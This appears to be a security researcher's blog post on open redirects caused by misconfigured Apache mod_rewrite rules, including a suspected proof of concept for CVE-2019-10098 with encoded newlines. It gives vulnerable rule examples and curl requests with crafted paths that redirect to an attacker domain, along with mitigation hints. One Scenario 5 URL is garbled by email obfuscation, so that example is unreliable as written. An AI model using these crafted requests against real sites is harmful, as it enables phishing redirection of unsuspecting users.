I recently came across the following Apache vulnerability: "mod_rewrite potential open redirect (CVE-2019-10098)", but I couldn't find a proof of concept, so I started playing around with possible open redirects in
mod_proxy that are caused by improperly configured rewrite rules.
The vulnerability was described as
Redirects configured with mod_rewrite that were intended to be self-referential might be fooled by encoded newlines and redirect instead to an an unexpected URL within the request URL.
The Apache changelog hints towards
PCRE_DOTALL and line break characters:
*) SECURITY: CVE-2019-10098 (cve.mitre.org)
rewrite, core: Set PCRE_DOTALL flag by default to avoid unpredictable
matches and substitutions with encoded line break characters. [Yann Ylavic]
The OSS Security Mailing list gives another hint about this issue:
Mitigation: Anchor captures used as back-references, prefix self-referential redirects with
/ or scheme, host, and port.
Treat the string as single line. That is, change "." to match any character whatsoever, even a newline, which normally it would not match.
Used together, as /ms , they let the "." match any character whatsoever, while still allowing "^" and "$" to match, respectively, just after and just before newlines within the string.
From the mitigation advice, I got the idea that open redirect issues might arise if a back reference (aka
$1) is not prefixed by
http://host.tld:80. The Apache documentation has a nice page on rewrite rules, so after a while I came up with some scenarios that might result in an open redirect.
I believe that Scenario 4 might be one example of CVE 2019-10098.
Scenario 1: Simple self-reference
Let's assume that a website changed its URL scheme, but wants to keep old links working by redirecting to the new resource. Example:
A naive configuration could look like this:
RewriteEngine On RewriteRule ^/oldwebsite(.*) $1
An attacker can then use
/oldwebsite<new URL> to cause a redirect:
$> curl -kI 'https://redirect.local/oldwebsitehttp://evilwebsite.com/' HTTP/2 302 date: Sun, 27 Oct 2019 01:13:34 GMT content-type: text/html; charset=iso-8859-1 location: http://evilwebsite.com/
Scenario 2: Suffixes
Let's say a website wants to have "fancy" looking URLs without the file's extension in it.
An administrator might add the following
RewriteEngine On RewriteRule ^/page(.*) $1.html
A normal request will return
hello-world.html's contents just fine:
$> curl -k 'https://redirect.local/page/hello-world' hello world
But it also redirects to another location as well:
$> curl -kI 'https://redirect.local/pagehttp://evilwebsite.com/evil' HTTP/2 302 date: Sun, 27 Oct 2019 01:34:36 GMT content-type: text/html; charset=iso-8859-1 location: http://evilwebsite.com/evil.html
Scenario 3: Schemes & Hosts
Let's assume different versions of an API that are handled by different systems (i.e.
v1 is legacy and
v2 is current). The systems have entries in
/etc/hosts or the local DNS server and run on port 8080.
http://redirect.local/api/v1/infoshould go to
http://redirect.local/api/v2/testshould go to
The frontend server could use the following rules to distribute the requests:
RewriteEngine On RewriteRule ^/api/(.*)/(.*) http://$1:8080/$2
This is also vulnerable:
$> curl -Ik 'https://redirect.local/api/evilwebsite.com/foo' HTTP/2 302 date: Sun, 27 Oct 2019 01:44:43 GMT content-type: text/html; charset=iso-8859-1 location: http://evilwebsite.com:8080/foo
Scenario 4: PoC for CVE 2019-10098?
Another common usage scenario for mod_rewrite is the upgrade from HTTP -> HTTPS.
http://redirect.local/should be redirect to
One could come up with the following rewrite rules:
RewriteEngine On RewriteRule (.*)$ https://redirect.local$1
Normal URLs like
http://redirect.local/test will be forwared to
https://redirect.local/test. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to
curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is HTTP/2 302 date: Mon, 28 Oct 2019 03:36:58 GMT content-type: text/html; charset=iso-8859-1 location: https://redirect.local.evilwebsite.com
By default, the
/ is also matched by
(.*), so the same redirect would not be possible without the bug:
curl -Ik 'https://redirect.local/.evilwebsite.com' --path-as-is HTTP/2 302 date: Mon, 28 Oct 2019 03:41:31 GMT content-type: text/html; charset=iso-8859-1 location: https://redirect.local/.evilwebsite.com
The observation also fits the mitigation advice:
- Prefixing the back references (
/would prevent extending the domain and therefore the redirect.
- Usage of the
^anchor would prevent a successful match in this specific case.
Scenario 5: Basic Auth
However, I disagree with the suggestion that prefixing with
host, scheme and port helps. Let's assume the following rewrite rule:
RewriteEngine On RewriteRule (.*)$ https://redirect.local:443$1
It has the scheme
https, the host
redirect.local and port
443. But because
: is used in http basic authentication, we can turn the prefix into login credentials using
@ and redirect anyway:
curl -LIk 'https://firstname.lastname@example.org' --path-as-is HTTP/2 302 date: Mon, 28 Oct 2019 03:49:22 GMT content-type: text/html; charset=iso-8859-1 location: https://redirect.local:email@example.com HTTP/1.1 200 OK Date: Mon, 28 Oct 2019 03:49:23 GMT X-Powered-By: Express Cache-Control: public, max-age=0 Content-Type: text/html; charset=utf-8 Content-Length: 11611 ETag: W/"2d5b-rk6EptGgfzq/+H/heOPKiDdmsVE" Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Connection: close
I believe that there are many more possibilities to create misconfigured rewrite rules that lead to open redirect? Do you know any? Let me know! :-)
To be honest, I am not completely sure if scenario 4 is really a PoC for CVE 2019-10098, but it kind of feels like it. Please correct me if I am mistaken.
To review all your rewrite rules, you can use the following command:
$> grep -irn 'rewrite' /etc/apache2/